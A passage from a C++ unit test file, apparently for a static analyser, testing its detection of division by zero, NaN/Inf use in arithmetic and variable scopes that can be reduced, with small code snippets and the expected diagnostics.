errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n 